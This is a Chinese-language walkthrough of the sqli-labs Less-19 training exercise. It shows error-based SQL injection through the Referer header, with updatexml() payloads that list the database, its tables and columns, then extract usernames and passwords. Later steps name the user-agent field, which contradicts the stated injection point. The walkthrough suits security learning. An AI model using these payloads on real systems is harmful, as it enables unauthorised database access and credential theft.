sqli-labs-Less-19自动化注入方法

sqli-labs 实验记录

Less-19

这一关与第18关类似，需要通过分析源码进行手动报错注入，但注入点与之前的关卡不同，为Referer。

第一步：分别输入正确与错误的用户名与密码，查找注入点

结合上一关爆出的数据，在用户与密码栏中分别输入正确与错误的数据：uname=Dumb passwd=12 与passwd=Dumb

结果如图如示：在密码正确的页面返回了Your Referer is: ......，密码错误的页面无任何回显。因此，我们考虑在Referer这一点进行报错注入。

第二步：查询服务器中的当前数据库

利用Hackbar插件，在Referer这一点输入如下数据：

复制代码

1' and updatexml(1,concat(0x7e,database(),0x7e),1) or '

updatexml 为报错注入函数。

结果如图所示：当前数据库为security。

第三步：查询指定数据库中的表

继续使用hackbar插件，在user-agent注入点输入字符串：

复制代码

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '

查询结果如图所示：数据表共有4个，分别是emails, referers, uagents, users。

第四步：查询指定数据表中的列

继续使用hackbar插件，在user-agent注入点输入字符串：

复制代码

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) or '

查询结果如图所示：数据列共有3个，分别是id，username，password。

第五步：查询指定数据表中的具体信息

继续使用hackbar插件，在user-agent注入点输入字符串：

复制代码

1' and updatexml(1,concat(0x7e,(select concat(username,':',password) from security.users limit 0,1),0x7e),1) or '

结果如图所示：查询出一条数据，用户名为Dumb，密码为12。

如果需要继续查找其它数据，只需将"limit 0,1"中的'0'，进行相应的修改，如"limit 1,1","limit 2,1"等等。